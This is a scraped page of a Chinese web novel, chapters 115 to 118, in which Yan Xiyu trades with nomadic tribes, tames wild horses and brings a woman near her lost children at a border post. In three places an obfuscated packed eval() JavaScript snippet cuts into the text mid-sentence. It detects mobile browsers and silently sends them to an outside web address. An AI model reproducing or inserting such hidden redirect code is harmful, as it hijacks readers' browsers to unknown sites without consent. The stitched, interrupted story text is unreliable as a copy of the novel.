“曾祖母,看小羊羔!”小满儿这牵着小羊羔和小鹿回来了,“燕姐姐,兔兔重重!” 罗采春跟在她身后走进院子,边放上肩上的竹筐边说:“那兔子都快重过你了,你也不怕被它蹬到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115495|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佟槿方在后院晒着草药,这时走过来说:“兔子看着好肥,要不红烧?” 燕惜妤瞥他:“小满儿要是哭着找兔兔,我就给你头上装上兔耳朵给她当兔子。” 佟槿方顿时不吱声了。 桑大娘忽然说:“姑娘,我若进山,我得带着小满儿。” “带小满儿?”燕惜妤一愣,山上的野草都有两个小满儿那么高,但桑大娘要带,她也没意见,“到时候我带你们进山,有我在,临阜山随便你们玩。” 桑大娘笑着点头。 佟瑰方手里端着摆有晒干草药的笸箩走了进来:“这是之前进山挖的草药,你带去夷狄那边给他们看看,若有他们需要的,到时候我们再进山挖。” 佟瑰方又说:“这些只是拿给他们看,每种一样,你放便带在身上,剩下的都收起来了,他们若不要,我们可以卖给镇上的药馆。” 之前进山摘果子时,顺手挖了不少的草药,佟瑰方和佟槿方负责晒干,前几日怕下雨就都收起来了,今日这些是打算用个小布袋装好让燕惜妤带走的。 “行,都放背篓里,还有那些果子罐也放几罐,和刚织出来的毛羊料子也放上几块,”燕惜妤想了想她这边做出来的东西,“那些陶器不用带了,我上次给他们带过去了,这次去问问他们要不要。” 她要去夷狄那边,大家倒是不怎么担心,毕竟她每次从边卡回来,都是带着牛和羊的。 这次也是,她背着个背篓要出门,大家也只送她出院子门,倒是梁屯长和杨元正,还有焦老爷子竟然都来了。 焦老爷子已经在烧陶了,但只是烧着陶器却没卖出去,这样他心里有点慌,忍不住过来露露脸,好让燕惜妤记着陶坊里有卖不出去的陶器。 而杨元正是为了羊毛,这两日羊毛是完全没有了,不只他慌,就连布坊里的织娘也很慌。那些羊毛织出来的料子又厚实又暖和,若能多织一些出来,定能卖个好价钱。 而梁屯长想要的就多了,既要羊毛,又要活羊,还要耕牛。 他估计也知道自己贪心,所以来了也不说话,就是搓着手站在一旁。 燕惜妤对他们几人点点头:“放心吧,我知道的。” 然后她又看着佟瑰方说:“佟阿姐,梁屯长说后晌拉着牛车去边卡那边等我,到时候你带着槿方一起过去等我,可以吗?” 佟瑰方不知道她为什么让她和阿弟都过去,但她知道燕惜妤做事总有她的道理,于是点头说:“好,到时我同阿弟一道去边卡等你回来。” “那我也过去吧,”罗采春在旁边也跟着说。 “好啊,”燕惜妤笑着往外走,“那你们在家等我。” “哎好,”梁屯长抢着说,“燕姑娘记得要带耕牛回来。” 燕惜妤确实想再带几头牛回来,牛的力气大,开荒耕地少不了牛。 所以她到了草原之后,一路走一路看,想找找野牛群,但一直没看到。 看来只能去问达格其,他是草原上的游牧民族,很清楚野牛群的所在位置。 只不过之前几次来达格其住处时,他家毡包前都冷冷清清的,而这次却很是吵闹。 115. 第115章 达格其正在压着怒火,他想把人全都给赶走,但对方人多,他打不过。 “都闭嘴!”他吼了一声,“我说了,那是我家苗月娘家来的人,人家姑娘给我圈的野牛群,你们别想抢走!”这是燕惜妤和他说好的,为了不引起没必要的误会,可以把她说成苗月娘家的亲戚。 “拉倒吧,”有个胡子拉碴的大汉阴阳怪气地说,“谁不知你家婆娘是你在外面捡回来的,她有个屁的娘家。” “你再说一遍!”达格其指着说话的日纳金吼,“老子撕了你!” “怕你啊!”日纳金也吼了回来。 “行了,一人少说两句,”旁边有个男人见他们真要动手,就对坐在大石头上一直没开口的照图说,“照图,你劝一下他们。” 照图先是瞥了眼正在互相掐着胳膊的达格其和日纳金,然后对里提清说:“让他们打,最好把达格其打死,然后我们就继承他的牧群和婆娘。” “呵!”毡包里忽然传出一声冷笑,有个女人掀开门帘走了出来,她身后还跟着苗月。 “达格其,”苗月喊了一声达格其。 达格其连忙甩开日纳金走了过来,一边走一边看向那夷狄女人:“卓娜,你们怎么出来了?” “你们在外面吵,苗月不放心要出来看你,”卓娜懒懒地说,“你们有吵出胜负了没有?” “没有,”里提清摇头,“达格其说野牛群是苗月娘家那边的一位姑娘帮他圈的。” “大承的姑娘?”卓娜笑了笑,“这话一听就是假的。” 达格其正要生气,卓娜又说道:“可他不会骗我们。” 达格其顿时抬着下巴斜着眼看日纳金。 日纳金却是一脸的不屑:“你信他,我可不信,除了那羿家的将军,别说大承的姑娘,就算是大承的男人也不可能收服得了一群野牛。” 各说各有理,但确实每个人说的都对。 里提清看向照图。 照图是夷狄族中的勇士,他在各大部族中一向很有话语权。 “达格其,你得拿出证据,”照图说,“不是我们不信你,而是鹰族他们说你勾结狼族,我们几族的人需要你解释清楚这件事。” 夷狄蛮族分为好几个部族,他们用不同的动物图腾作为旗帜。 峰族的图腾是骆驼,也是荒漠这边最大的部族,达格其就是峰族的。 除了峰族,还有牛图腾的双角族,鹰图腾的鹰族等。 狼族因为在夷狄众部族和大承战争时,背刺夷狄选择帮助大承,从此被夷狄其他的部族仇视。 不过也是因为狼族选择帮大承,因此才能结束了长达数十年的战争。为防止狼族被其他族暗中杀害,大承为此特地派了羿家将领和狼族常联系,以防万一。 所以其他族既恨狼族,但又无法对狼族暗中下手,只能联合起来一起扼制狼族。 达格其虽然被从族中赶走,但族中人却是不允许被赶走的人投靠狼族中,一旦发现和狼族人有所联系,立即就会把人杀死。 照图他们带着人过来时,达格其还以为他们是来和他谈合作的,谁能想到是来诬陷他的。 “我说了那野牛群是燕姑娘的,”达格其皱着眉说,“之前我还给你们带去了陶器,也和你们说了我要做的事,你们不是知道了吗?” “谁知道你是不是骗我们的,”日纳金撇嘴,“就你一个被族中赶出来的人,大承那姑娘就算是傻的也不会选择你……” 正在这时,忽然有陌生的女子声音响起:“背后骂人不好吧?” 达格其和苗月唰一下顺着声音转过头来,一眼就看见了站在马匹中的燕惜妤。 “你、你怎么才来啊!!”达格其倏地大吼一声,“你快过来,他们要抢走你的野牛群!” “我听见了,”燕惜妤没理他,而是走到苗月身边,“苗月阿姨你先回毡包里去,外面太吵了。” “可是你们……”苗月不放心地看看达格其。 “放心,我们不打架,”燕惜妤伸手掀起毡包的门帘,“苗月阿姨给我煮盅马乳茶,我想喝。” “那你们不要打架,”苗月边走进毡包边说,“我煮好马乳茶就喊你。” “好的,苗月阿姨帮我把背篓也拿进去,”燕惜妤笑眯眯地放下门帘,一转身,脸已经板了起来,“谁敢抢我的牛?” “他!他他她!”达格其把照图他们几人全都指了一遍,“燕姑娘,你快揍他们!” “我答应了我苗月阿姨不打架,”燕惜妤向前走了两步,就这两步,她已经卷好了衣袖,“但我们可以切磋一下。” “下”字刚出口,她的人已经到了照图面前,看似软绵无力的拳头对着照图的脸一拳就砸了下去! “轰”一声,照图刚刚坐着的大石头瞬间四分五裂,溅飞的石头打到马匹身上,令马匹嘶叫起来。 甚甚躲过去的照图原本要还手,拳手都抬了起来,但在看见那块炸开的大石头之后,他又缓缓放下了手。 几块飞溅的石头刮伤了他的脸,他用手背擦了擦脸上的血迹,眼睛紧紧盯着眼前的女子,却对着达格其说:“我相信你说的话了。” “我就说我没骗你们!”达格其一副趾高气扬的样子,“现在你们信了吧,那群野马就是这大承姑娘的,她还是苗月的娘家人!” “我姓燕,燕惜妤,”燕惜妤看看达格其,“大承姑娘虽然也好听,但我更喜欢我的名字。” “燕惜妤……”照图皱着眉说,“你不是姓羿?” 羿?羿家军? “我姓燕,但我认识羿家人,”燕惜妤含糊地说,“你要是想见,我下次把他们带过来。” “别带!”达格其下意识喊道。 这时苗月掀开毡包走了出来,她听见石头炸裂的声音,不放心就又走了出来:“惜妤,茶快煮好了,你过来看看要放多少糖。” “好哦,”燕惜妤欢快地跟着走进了毡包。 “我们也进去……”达格其也想跟着进去,但却被照图一把揪住了手臂,“嘶!” “她到底什么来头?”照图压低着声音问。 里提清和卓娜也脸色阴沉走了过来,只留下日纳金惨白着脸盯着那块被砸烂的大石头。 “苗月家的娘家人,她和苗月在大承的儿女是……”达格其还没说完,就被卓娜打断了。 “我们不是问这个,”卓娜盯着他,“她为谁做事?大承朝廷?羿家军营?” “她……为她自己啊,”达格其用莫名其妙的眼神看着她,“以她的身手,你们觉得有谁能使唤的了她?” 卓娜一愣,照图三人互相看了一眼,然后照图松开了手:“以她的身手,大概只有她使唤他人。” “这就对了嘛,”达格其转了转被攥痛的手臂,看着照图问,“照图,你说以你的身手,你能赤手空拳砸碎那块大石头吗?” 照图顺着他的视线看向他自己方才坐着的那块碎掉的石头:“若我手中有大铁锤,能做到。”但他不能赤手空拳砸碎,这点他确实做不到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120456|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……我能徒手搬走那块石头,”日纳金自言自语,“比力气我未必输她。” 达格其白了他一眼:“谁同你比力气,还生死关头,你力气再大,也挡不住她砸过来的拳手。” 日纳金想想刚才看见的画面,没再犟嘴:“那我确实打不过她。” “现在你们信我了?”达格其搭着照图的肩膀往毡包里面走,“大哥,我之前同你说的事,你说考虑一下,现在她人来了,你去同她说说,咱兄弟姐妹几个一起赚银钱。” 他和照图他们虽然不是亲兄弟姐妹,却是同族的亲人,彼此都是同血缘的堂兄弟姐妹,有银子当然是自家人一起赚。 而燕惜妤在毡包里边喝马乳茶边听着外面的话,苗月有些担忧地问:“你方才为何要打照图,他可是夷狄的勇士,不要惹怒他,没必要。” “我没招惹他,”燕惜妤笑着说,“我这是给他一个提醒,让他不要误会达格其大叔。” 苗月摇摇头:“你要是打了他,你日后再来这边怕会很难。” “我不会打他的,我们又没有仇,”燕惜妤说这话时,达格其正好和照图勾肩搭臂走了进来。 “就是嘛,彼此又没有仇,”达格其给照图他们几人倒马奶酒,“她们吃茶,我们吃酒。” 卓娜虽然是女子,但她打小就是吃马奶酒长大的,自然也跟着举碗。 “达格其大叔,我之前同你说的事,你有和族人商量过了吗?”燕惜妤看着达格其。 达格其端着碗指向照图他们四人:“他们都是我族中的兄弟姐妹,只要他们点头,你同我说的合作就能成。” 于是燕惜妤转头看向他们:“四位意下如何?” 照图他们互相看了一眼,最后是卓娜朝燕惜妤一笑:“你叫燕惜妤?那燕姑娘,你之前同达格其说的合作,可达格其除了给我们看了几个陶器,其它的可都还没见到。” “就是,夷狄原本和大承的商队以物换物换得好好的,你忽然让我们同你换,你总得给我我看看货,就那几个陶器我们族人可看不上眼,”日纳金撇嘴说,“除非你把我们全都打趴下逼着我们照你说的去做。” “我刚好带来了,”燕惜妤把身边放着的背篓拎了过来,先把放最上面的几个小包裹给拿了出来,“这是晒干的草药,你们草原少山,但大承边地全是山,山中名贵的草药有很多,你看看这些有没有你们需要的。” 现在的草药大致分为外敷内食,外敷一般是止血和消肿,内食则是祛毒和调理,这点大承的郎中祖上传承更全面些,夷狄人不怎么懂,他们有自己的一套治疗方法。 但夷狄人在和大承打了数十年的战争,那些被俘虏的降兵曾得到过大承郎中的救治,有了对比之后,他们自然对大承的医术更信服,所以就算没有大承的郎中,他们也想要大承的各种能治病的药材。 所以燕惜妤首先把晒好的草药拿了出来,这些草药都是经过佟瑰方俩姐弟细心挑选和晒干的,包着草药的布一打开,阵阵药香顿时扑鼻。 “这些药好啊,”达格其下意识道,“这些都给我吧。” 照图他们看看他,又看看燕惜妤。 燕惜妤笑着说:“本来就是带来给我苗月阿姨的。” 苗月惊讶:“给我的?” “嗯,特地带来给阿姨的,”燕惜妤边说,又边从背篓里拿出了果了罐,“这些是果子……” “什么果子放这里?”达格其接过去,捏碎了封口的泥巴,一道酸甜的味道顿时飘了出来,让人口水直流。 116. 第116章 达格其没想到他的这些兄弟姐妹们会这么的听话,燕惜妤说什么,他们都同意。 原本他也该说两句的,但硬是插不上话。 燕惜妤也没说什么,基本她只是提那么一两句,照图他们立即就会明白她的想法。 如果不是先遇见达格其,如果达格其身边不是还有个苗月,照图他们几人里随便选一个,都比达格其更合适。 达格其留意到燕惜妤看过来的视线,不明所以地问:“燕姑娘是有话要说?” “不是你该有话要说?”燕惜妤反问他。 达格其仍然一脸茫然:“我该说什么?” 日纳金在旁边连连摇头:“你也就是有这姻亲关系,若燕姑娘不是苗月娘家人,你这个中间人……” “喂,我这中间人好着呢!”达格其瞪他,“你别想挑拨我们的关系!” “燕姑娘,你可别听他们胡说!”他怕燕惜妤被照图他们挑唆成功,连忙又说,“我能帮到你的!” “我知道,”燕惜妤点点头,“你是我选的搭档,我看好你。” “都听见了吧?”达格其立即抬着下巴说,“以后你们都得听我的!” “唉,”日纳金叹气,“有些人真是命中有贵人。” 卓娜笑了:“当初达格其被赶出来时,我让你同他一起走,谁让你不听。” “我是万万没想到他还真的能翻身,”日纳金摇头。 “他又不是犯别的错,”里提清说,“他虽然是异族通婚,但他为人豪爽仗义,平日对族人总是能帮则帮,否则你以为他被赶出来为什么还能有羊有马有牛。” “那是我家人分给我的,”达格其哼哼。 “你在族中时尚未成亲,未成亲的族人是没有牧群的,你被赶出来之后,你家人悄悄地给你送来牧群,你以为族人不知道?”日纳金瞥他。 “难道族人知道?”达格其有点吃惊,“他们不反对?” “你家人给你赶来牧群,那么大的动静,族人当然知道,”照图说,“他们不反对,我们也不反对,你始终是我们族人,也是我们的家人,大家都盼着你好。” “苗月你听见了吗?”达格其握紧苗月的手,“我家人和族人一定会接纳你的。” “达格其大叔,我就是你的机会,”燕惜妤看着他们握在一起的手,“只要你按照我说的去做,你日后就是你们族中的商人。” 照图却是忽然一笑:“他做族中商人,我要做整个夷狄的商人。” “什么?照图你敢和我抢?”达格其立即瞪他,“我也要做整个夷狄的商人。” 日纳金他们异口同声地说:“我们也是!” “不用抢,”燕惜妤看他们差点要打起来,就说,“夷狄太大了,只有一个人是做不了的,你们可以分工合作,有钱大家一起赚。” “燕姑娘这话中听,”照图爽朗一笑,“听达格其说姑娘能驯服野牛群,今日姑娘不妨和我一同去驯服野马群。” “可以啊,不过我今日来,除了要大量的羊毛,还要五头牛和三匹马,”燕惜妤指了指桌上放着的羊毛料子,“我在边地所有的作坊都已建好,就等着带羊毛回去。” “可以,不就是羊毛,”照图看了看身边的里提清,“里提清回去叫人剪羊毛,随便再带十头羊过来。” “多谢照图大叔,”燕惜妤向他道谢,“我也正想要活羊。” “达格其对我说过,”照图看向燕惜妤,“他说如果你生活在草原,整个草原都将属于你,今日我就想看看,他说得是不是真的。” 燕惜妤摇头:“我没那么大的本事,我最多也就只能驯服一些野生动物而已。” 她说得谦虚,好在照图他们见识过她赤手空拳砸碎一块大石头,也就只是半信半疑。 但当看见她一人在奔驰着的野马群里疾走如飞时,照图他们不得不相信达格其所说的话。 别人驯马,那都是看准一匹马不放,但燕惜妤不是。 她去驯马,要把整个野马群的马全都骑一遍,最后骑着头马带着野马群狂奔。 一般来说,马匹在奔跑时,骑在马背上的人都会尽量将上身贴近马背。但燕惜妤不是,她是只靠双腿夹着马背,腰背挺直,甚至还能放开双手。 而这些都抵不过她上一霎正骑着这匹马,而下一刻她又凭空消失出现在另一匹马的背上! 别说照图他们,就连达格其也是第一次看见她这样驯马。 “……达格其,苗月娘家的这燕姑娘,是什么来头?”日纳金喃喃道,“她……难不成是上天下凡的巫圣?!” “我不知道,”达格其摇头,“我没敢问。” “你为什么不问?”日纳金骂他。 “你去问!”达格其瞥着他,“她你猜她会怎么回答!” “她肯定不会说,”卓娜盯着又绕圈回来的野马群,“听说下凡历练的巫圣都不知道自己是巫圣。” “也许这是她练的武功,”照图忽然说,“有些人得上天庇佑,一生下来就拥有了凡人绝对不该有的神赐。” “这也有可能,”日纳金点头,“反正无论怎么说,她都与旁人不同。” 达格其看看他们:“我说草原属于她,没说错吧?” 照图他们沉默地点点头。 确实没说错,以燕惜妤这样的身手,草原上野生的兽类都将会被她驯服。 这时,天空上忽然响起一声响亮的禽嗥! “是鹰族的海东青!”日纳金抬头看,“鹰族是不是也盯上了这群野马?” “那他们来迟了,”照图笑笑,“野马群归我们的了。” “燕姑娘人呢?”卓娜看了眼奔跑着的野马群,一时看不到燕惜妤的身影。 忽然在她身后传来燕惜妤的声音:“我在这。” 达格其他们惊了一下,连忙回头,发现燕惜妤不知道什么时候已经站在了他们的身后! “你、你怎么在这?!”日纳金看看她,又看看野马群,“你不是、不是还骑在马背上吗?!” “我听见鸟叫了,”燕惜妤抬头看天空,“是不是老鹰,我能抓吗?” “不能!”达格其连忙阻止她,“那是鹰族养的海东青,不是野生的,你不能抓!”要是她抓了鹰族的海东青,那鹰族说不定从此就恨上他们峰族了。 “别人养的啊,”燕惜妤眼巴巴地看着在天空中盘旋的海东青,“要是野生的就好了。” “燕姑娘,野马群跑了,”达格其在旁边说,“养这海东青的鹰族也看中了这群野马,你要是放走……” 他话还没说完,燕惜妤的人影倏地就消失了! “……!!”日纳金忽然搓着自己的手臂,“太吓人了,要不是在大白天,我还以为见到了鬼!” “……她有影子呢?”卓娜幽幽地开口。 “……没留意……”日纳金缩了缩脖子,“等下她回来……” 后面的话他没说出口,但大家都知道他话里的意思。 等燕惜妤骑着头马带着野马群回来时,发现大家都盯着她的脚下看。 “草里有什么?”燕惜妤也低头看,怕踩到了,还后退了两步,她的影子也跟着往后退。 有影子! 是人! 照图他们几人长长地松了口气,达格其站在一旁对他们露出不屑的表情。 他从来就没怀疑过燕惜妤不是人,因为他送给苗月的银碗是在巫圣石像前供奉过的,燕惜妤已经 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“可以啊,”燕惜妤笑着说,“我们大家一起,把草原上的野马群都带回家。” “好!”达格其也跟着吼了一声,“草原是燕姑娘的,也是我们的!” “嘻!那我现在就要骑一下这匹我看中的野马,”日纳金搓着手想骑头马,却没想到被头马一个后踢差点给踹飞。 其他人顿时哈哈大笑。 苗月听见毡包外的马蹄声,连忙走了出来,一眼就看见了一大群野马。 “是野马群?!”苗月惊呼,“真驯服了野马群!” “苗月,你看我们又有了新的马群!”达格其最为激动。 燕惜妤之前给他带来了野牛群,野羊群,现在有带来了野马群,等以后说不定还会有野骆驼群…… 想到骆驼群,达格其心中顿时兴奋不已。 野骆驼群,只要他有了骆驼群,他就能成为养骆驼群的人,要知道他们峰族的图腾虽然是骆驼,但其实养骆驼群最多的却是狼族,因为狼族居住在靠近沙漠的地方。 虽然住在沙漠边缘很艰苦,但周边的小国若想要得到大承精美的丝绸和陶瓷还有纸张等,他们就必须靠着骆驼横渡沙漠。 狼族以靠卖骆驼和租骆驼为生,他们是驯养骆驼的好手。在沙漠上,狼族是无敌的。 达格其也想成为在某一方面像狼族那般无敌的人。 “达格其,你怎么了?”苗月看见达格其攥紧着双手,有些担心地问,“是不是和照图他们吵架了?” “没有,我不和他们吵架,”达格其摇摇头,“我以后要帮燕姑娘成为夷狄最大的商人!” 苗月轻声问:“达格其,你想从她身上得到什么?” “我想……让族人对我刮目相看!”达格其攥紧拳头,“我想族人接纳你!” “不急,十年我都等了,”苗月轻声说,“我相信你。” “苗月!”达格其一激动,握紧了苗月的手,结果眼角余光忽然扫见身旁站着一个人,“燕姑娘……” “……我有话想和苗月阿姨说,”燕惜妤眨巴眨巴眼睛,“我是不是打扰你们了?” “没有,”苗月连忙把达格其赶走,“里提清带着人过来了,你快去帮忙。” 达格其走开后,苗月才问:“燕姑娘有什么事需要我做?” “苗月阿姨,我想你今日和达格其大叔一起送我去边卡,”燕惜妤指了指里提清带来的毛羊,“东西太多了,我一个人忙不过来。” “好,你不说我也打算给你送过去,”苗月点点头,“你一个姑娘家确实忙不过来,以后我都给你送过去。” 117. 第117章 日头已经被大山遮挡住了,天一下子就暗了下来。 仲茂他们牵着马车已经等在边卡,不仅他们,梁屯长和杨元正也拉来了牛车,焦老爷子的儿子和徒弟也来了,还有屯里不少的邻里都来了。 好几架马车和牛车停在旁边,佟槿方数了一下,发现一共有九架。 “拉来这么多马车牛车,燕姑娘要带多少毛羊回来才能装得满,”佟槿方忍不住嘀咕道,“就好像不要银子似的,全都指望着燕姑娘一个人。” “那不指望她还能指望谁?”佟瑰方摇头说,“燕姑娘做事有她自己的想法,不会吃亏的,你可别和屯长他们为这事吵架,免得坏了燕姑娘的计划。” “我才懒得理,”佟槿方撇撇嘴,“她自己都不介意,我再着急也没用。” 佟瑰方在旁边笑着摇了摇头。 “咦?那是不是燕姑娘?”旁边有人忽然喊了一声。 大家连忙掂起脚尖伸长脖子看向草原的方向,果然远远地就看见有好几架牛车,旁边还有不少马牛羊。 “到边卡了,”燕惜妤和苗月一起走着,伸手指了指边卡的哨岗。 达格其和里提清骑着马一前一后跟着牧群,另外还有几个里提清喊来帮忙的人,照图他们三人没来。 到了边卡就是大承的地方了,那边全是大承人。 苗月原本是大承人,但此时她却有点胆怯,她害怕见到大承人。 留意到苗月停下了脚步,燕惜妤也跟着停下:“苗月阿姨,怎么了?” “我……我就不过去了,”苗月扫了眼边卡那里站着的人,“我在这里等达格其。” “这有点远,再近些,”燕惜妤看了看距离,发现无法看清对面人的样子,于是劝她,“离这么远,达格其大叔会担心的,再近些,到时你就站在马车后面。” 苗月犹豫了一下,才点点头。 等可以看清边卡旁边站着的人脸,燕惜妤才说:“那苗月你就在这等达格其大叔回来,我过去了。” “好,”苗月点点头,侧着脸没去看对面的人群。 隔着马车和牧群,燕惜妤看见了佟瑰方和佟槿方。 她这次特地让他们姐弟过来,就是想让他们母子三人互相认识一下。 她没对苗月说,也没对佟瑰方姐弟说,如果苗月真是他们姐弟的娘亲,哪怕隔了十年,应该也能认出自己的孩子。就算认不出佟槿方,也应该认出佟瑰方,毕竟当时的佟瑰方已经到了出嫁的年纪,长相已经定了,不会再有太大的变化。 “三姐!”燕惜妤小跑着向边卡这边奔来,“我回来了!” “阿妹!”罗采春隔着哨卡对她挥了挥手,“阿妹!” “三姐,”燕惜妤跑到哨卡前,隔着栏杆和大家说话,“仲茂,梁屯长,杨大叔,你们都来了。” 她边说边看向旁边的佟瑰方和佟槿方:“你们也来了。” “不是你让我同阿姐过来的吗?”佟槿方不解地看着她,“你让我们来干嘛?” “看看马牛羊,”燕惜妤指了指被赶过来牧群,“你等会帮忙看看,牧群有没有问题。” “……我是人医,”佟槿方差点被气倒,“我不会给兽类诊病。” “没事,就当求个安心,”燕惜妤说完,又去看梁屯长,“屯长,耕牛,活羊,还有马都带回来了。” “我看到了!”梁屯长搓着手说,“这么多头耕牛,暂时是够了。” 旁边的杨元正瞥了他一眼,真是贪心。 燕惜妤笑笑,又去看杨元正:“杨大叔,快十车的羊毛,应该够我们织出一批羊毛料子卖了换银子了吧?” “卖附近几个州是够了,但要是想卖到封州或是淮扬那边,估计还不够,”杨元正说这话时,没觉得他自己其实也是贪心的。 不过燕惜妤不怕他们贪心,最起码他们贪心是为了赚到银子,这是难得的动力,只要他们不颓废,她的计划才能成功,才能赚到银子。 “那就先织出来一批卖到附近的州县去,”燕惜妤倒不强求一定要一夜之间让羊毛料子红遍整个大承,她不贪心,她暂时只想把羊毛料子推销给夷狄人和乌埬两州。 这时,负责检查货物的哨卡士兵对燕惜妤招了招手:“可以了,搬过去吧。” 过边卡的所有货物都要先检查,确认无问题之后,才能让那边的人把货物隔着哨卡栏杆递过来,然后这边的人再重新搬上车。 “达格其大叔,可以搬了,”燕惜妤对达格其喊了一句。 而仲茂他们五人已经等在栏杆前了,梁屯长他们也帮忙。 佟槿方虽然是最年轻的,但他来都来了,自然要帮忙搬羊毛。 “三姐,佟阿姐,”燕惜妤站在哨卡的通道口前,把里提清赶过来的牧群往这边赶,“帮我看着些,尤其是这些羊,不要让它们跑了。” 牛和马都有绳子拴着,但羊却没有,一旦有一头羊忽然往外跑,其它的羊也会跟着跟,没有绳子牵着手里,又没有被圈着,很难抓到它们。 这边赶着牧群,那边搬着货物,大家都忙碌着,只有苗月愣慢地站在马车后面。 她原本是避着大承这边的人的,十年前她因为被达格其带去了夷狄,就再也没有回过大承。 其实夷狄那边异族不通婚还没有大承这边的严重,大承这边对夷狄人可谓是恨入骨髓,因为每次两边的战争都是夷狄先挑起的。 夷狄人总是偷袭边地的百姓,不仅抢夺钱物,还所到之处无一人能存活。 乌州这边原来的百姓除了跑掉的少数人,全都被杀了。 现在乌州的百姓,无论是城镇上的,还是村下的,全都是后来签了停战协议之后迁过来的。 边地不能没有百姓,而且边地的百姓是民也是兵,闲时是百姓,战时是士兵。 不过渐渐地,也开始和夷狄有了货物往来。夷狄那边虽然也不允许异族通婚,但他们没有大承这边严厉。 大承这边讲究媒妁之言父母之命,没有哪个媒人会给异族说亲,所以大承没有异族通婚,哪怕是住在边地的百姓,他们离异族的人最近,他们也没有和异族通婚。 苗月自然是知道这些事的,所以她下意识选择躲避,不想被燕惜妤身边的人知道她是大承人。 她害怕别人用鄙视的眼神看她。 达格其带着人把羊毛递过去,仲茂他们那边接过后就给搬到板车上。 佟槿方年纪小,力气也不大,一大捆羊毛差点儿没能抬起来。 仲二平时最喜欢和他互开玩笑,这时就大声笑他:“佟槿方,光会吃不长力气,浪费粮食。” “佟槿方”三个字,清晰地被苗月听见了。 她浑身猛地一颤,下意识就转过了身来。 在她抬头时,却又顿住了。 ……不能让别人知道槿方有我这个和夷狄蛮人在一起的娘。 苗月颤抖着又慢慢转过了身,虽然背对着哨卡的方向,但她却在听着这边所有的声音,期望着能再听见关于佟槿方的事情。 “你管我,我拖过去,”佟槿方还真的说话了,他甚至还喊了声佟瑰方,“阿姐,羊要跑了!” 佟瑰方正在弯腰抓着一只羊的角,听见佟槿方的声音后,连忙直起身去看哪只羊跑了。 “没事,我看着呢,”燕惜妤对她说,然后看向了苗月的方向。 苗月在听见佟槿方喊“阿姐”时,整个人又是一颤。 ……瑰方怎的也会在这里?她不是该在夫家吗? 苗月心绪不宁地又转过身来,十年的分别终究让她抬起了头。 佟瑰方这时正看着燕惜妤:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕惜妤看着热热闹闹的大家,又侧头去看苗月。 隔着一段距离,苗月正在无声地哭泣。 泪水早已模糊了她的双眼,但她仍然舍不得眨一下,怕再睁开眼睛会发现这一切只是梦。 她记挂了十年的一双儿女,此时就在她的面前,她和他们明明隔着不远,但却仿佛是隔着无法跨越的鸿沟。 她这十年的离开,再见到儿女,儿女都已经长大了,而她,却和一个夷狄人在一起。 她的儿女不会接受的,也不会原谅她这个当娘的。 苗月不知道该怎么办,她只能无助地看向燕惜妤。 燕惜妤这时帮着罗采春把羊赶在一起,然后又去帮仲茂他们搬羊毛。 “不用你帮忙,”梁屯长越干越有劲,“这么多羊毛,咱们布坊很快就能卖出羊毛料子了!” “这就要看杨大叔了,”燕惜妤笑着说,“杨大叔负责布坊。” 杨元正虽然是头的汗,但他仍然浑身充满了干劲:“我回去就让人清洗羊毛,一晾干立即开机杼纺线织布!” “慢慢来,”燕惜妤说了一句,“羊毛都给你了,你要稳住。” “对对对,要稳住,”梁屯长连忙点头,“在这时候可不能出乱子。” 杨元正点点头,看着燕惜妤说:“燕姑娘,羊毛料子怎么卖出去?要组成运货的商队吗?” “要组成商队?”梁屯长立即说,“我们马匹不够啊。”他边说,还边看看对面夷狄人用来拉板车的马匹,然后又看向燕惜妤,那表情不言而喻,就是让燕惜妤再去带些马匹回来。 燕惜妤却摇头:“我没打算组成商队。” 118. 第118章 梁屯长一怔,脱口而出:“不组成商队那怎么把手里的货物卖出去?单指望着乌州的百姓也买不了多少。” 这是实话,乌州地广却人稀,只有两个县,人太少了。其它的州小很多,但却有好几个县,人口密集货物才容易流通。 燕惜妤也知道这个问题,不过她没有第一时间回答。 梁屯长有点急,但他也知道不能多劝,于是给杨元正使了眼色。 杨元正也在皱眉,他还想借着羊毛料子重回封州,封州可是天子脚下,皇都所在的地方,那里的世家大族比比皆是,也只有那些人才舍得每个季度都做新衣裳。 于是他忍不住说:“燕姑娘,羊毛料子单在乌州卖不了高价,要在封州和淮扬才能卖到好价钱,那边皇亲贵胄满大街都是。” “我知道,但现在我们一没足够的银钱,二来也没有人手,”燕惜妤有她自己的想法,“若是组成商队,这来回一趟路上的花销太大,我们自己没人,只能另请镖师,若平平安安也就算了,可万一遇到劫匪,人财两失,镖师的安家费我们都付不起。” 燕惜妤之前和大承最大的陆家商队同路过一段时间,她留意过陆家商队,知道有多危险。 “那……”梁屯长面露难色,“可羊毛料子这么好的货物,只卖在乌州太吃亏了。” 乌州没什么大户人家,一旦卖不起高价,就只能亏本了。 燕惜妤看了看梁屯长和杨元正,低声说:“我想了一个方法。” “是什么?快说!”梁屯长有点急。 